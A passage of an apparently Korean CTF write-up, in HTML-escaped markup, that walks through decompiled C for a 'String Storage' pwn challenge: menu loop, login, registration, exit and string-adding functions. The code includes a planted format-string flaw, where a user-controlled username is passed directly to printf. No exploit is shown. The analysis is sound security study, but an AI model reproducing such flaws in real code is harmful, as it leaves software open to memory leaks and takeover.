data-origin-height=&quot;323&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot; style=&quot;text-align: center;&quot;&gt;분석에 시간을 많이 썼던 문제&lt;br&gt;(심볼 없고 함수가 너무 많았던..)&lt;br&gt;&amp;nbsp;&lt;br&gt;라이브러리 없이 사용자 정의 함수로 굴러가는 바이너리다.&lt;br&gt;적당히 rename하면서 분석을 수행한다.&lt;br&gt;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;/p&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;void __noreturn start()
{
&amp;nbsp;&amp;nbsp;int menu_num; // [rsp+8h] [rbp-8h]
&amp;nbsp;&amp;nbsp;int num; // [rsp+Ch] [rbp-4h]

&amp;nbsp;&amp;nbsp;init();
&amp;nbsp;&amp;nbsp;while ( 1 )
&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&quot;Welcome to String Storage!&quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&quot;Please login or register an account to continue :)&quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&amp;amp;null);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while ( user_idx == 0xFFFFFFFF )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&quot;1. Login&quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&quot;2. Register&quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&quot;3. Exit&quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&quot;Choose an option: &quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;menu_num = get_num();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&amp;amp;null);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;switch ( menu_num )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case 1:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Login();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case 2:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Register();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case 3:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Exit();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;default:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&quot;Invalid option&quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&amp;amp;null);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&quot;Welcome to String Storage, &quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(user_list[user_idx]-&amp;gt;username);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&quot;!&quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&amp;amp;null);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while ( 1 )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&quot;1. Add string&quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&quot;2. Delete string&quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&quot;3. View strings&quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&quot;4. Save to File&quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&quot;5. Load from File&quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&quot;6. Logout&quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&quot;Choose an option: &quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;num = get_num();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&amp;amp;null);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;switch ( num )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case 1:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;add_string();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;goto LABEL_26;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case 2:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;delete_string();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;goto LABEL_26;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case 3:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;veiw_string();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;goto LABEL_26;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case 4:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;save_to_file();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;goto LABEL_26;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case 5:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;load_from_file();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;goto LABEL_26;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ( num == 6 )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&quot;Invalid option&quot;);
LABEL_26:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&amp;amp;null);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;user_idx = 0xFFFFFFFF;
&amp;nbsp;&amp;nbsp;}
}&lt;/code&gt;&lt;/pre&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;int *Login()
{
&amp;nbsp;&amp;nbsp;int *password; // [rsp+8h] [rbp-18h]
&amp;nbsp;&amp;nbsp;int *username; // [rsp+10h] [rbp-10h]
&amp;nbsp;&amp;nbsp;int i; // [rsp+1Ch] [rbp-4h]

&amp;nbsp;&amp;nbsp;printf(&quot;Username: &quot;);
&amp;nbsp;&amp;nbsp;username = allocate(0x40);
&amp;nbsp;&amp;nbsp;if ( username )
&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;read(username, 0x40);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ( strlen(username) )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&quot;Password: &quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;password = allocate(0x40);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ( password )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;read(password, 0x40);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ( strlen(password) )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ( user_count )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for ( i = 0; i &amp;lt; user_count; ++i )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ( auth(user_list[i]-&amp;gt;username, username) &amp;amp;&amp;amp; auth(user_list[i]-&amp;gt;password, password) )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;user_idx = i;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ( user_idx == 0xFFFFFFFF )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&quot;Invalid username or password&quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&quot;Logged in successfully!&quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;heap_management1(username);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return heap_management1(password);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return write(&quot;No users registered&quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&quot;Invalid password&quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;heap_management1(password);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return Login();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&quot;Invalid password&quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;heap_management1(0LL);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return Login();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&quot;Invalid username&quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;heap_management1(username);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return Login();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;else
&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&quot;Invalid username&quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;heap_management1(0LL);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return Login();
&amp;nbsp;&amp;nbsp;}
}&lt;/code&gt;&lt;/pre&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;__int64 Register()
{
&amp;nbsp;&amp;nbsp;user_info_st *user_info; // [rsp+8h] [rbp-18h]
&amp;nbsp;&amp;nbsp;char *password; // [rsp+10h] [rbp-10h]
&amp;nbsp;&amp;nbsp;char *username; // [rsp+18h] [rbp-8h]

&amp;nbsp;&amp;nbsp;if ( user_count &amp;gt; 0 )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return write(&quot;You can only register one account!&quot;);
&amp;nbsp;&amp;nbsp;printf(&quot;Username: &quot;);
&amp;nbsp;&amp;nbsp;username = allocate(0x20);
&amp;nbsp;&amp;nbsp;if ( username )
&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;read(username, 0x20);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ( strlen(username) )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&quot;Password: &quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;password = allocate(0x20);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ( password )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;read(password, 0x20);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ( strlen(password) )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;user_info = allocate(0x4010);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;user_info-&amp;gt;username = username;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;user_info-&amp;gt;password = password;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;user_info-&amp;gt;str_count = 0;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;user_list[user_count++] = user_info;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return write(&quot;User registered successfully!&quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&quot;Invalid password&quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;heap_management1(password);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return Register();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&quot;Invalid password&quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;heap_management1(0LL);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return Register();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&quot;Invalid username&quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;heap_management1(username);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return Register();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;else
&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&quot;Invalid username&quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;heap_management1(0LL);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return Register();
&amp;nbsp;&amp;nbsp;}
}&lt;/code&gt;&lt;/pre&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;__int64 Exit()
{
&amp;nbsp;&amp;nbsp;__int64 result; // rax

&amp;nbsp;&amp;nbsp;result = exit_syscall;
&amp;nbsp;&amp;nbsp;__asm { syscall; LINUX - }
&amp;nbsp;&amp;nbsp;return result;
}&lt;/code&gt;&lt;/pre&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;__int64 add_string()
{
&amp;nbsp;&amp;nbsp;char *string_buffer; // [rsp+0h] [rbp-10h]
&amp;nbsp;&amp;nbsp;int num; // [rsp+Ch] [rbp-4h]

&amp;nbsp;&amp;nbsp;if ( user_list[user_idx]-&amp;gt;str_count &amp;gt; 0x7FE )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return write(&quot;You have reached the maximum number of strings&quot;);
&amp;nbsp;&amp;nbsp;printf(&quot;Enter string length: &quot;);
&amp;nbsp;&amp;nbsp;num = get_num();
&amp;nbsp;&amp;nbsp;if ( num &amp;gt; 0 &amp;amp;&amp;amp; num &amp;lt;= 0x100 )
&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&quot;Enter a string: &quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;string_buffer = allocate(num + 1);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ( !string_buffer )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&quot;Failed to allocate memory&quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&amp;amp;null);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Exit();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;read(string_buffer, num + 1);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;user_list[user_idx]-&amp;gt;string_ptr_array[user_list[user_idx]-&amp;gt;str_count++] = string_buffer;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return write(&quot;String added successfully!&quot;);
&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;else
&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&quot;Invalid length&quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return write(&amp;amp;null);
&amp;nbsp;&amp;nbsp;}
}&lt;/code&gt;&lt;/pre&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;__int64 delete_string()
{
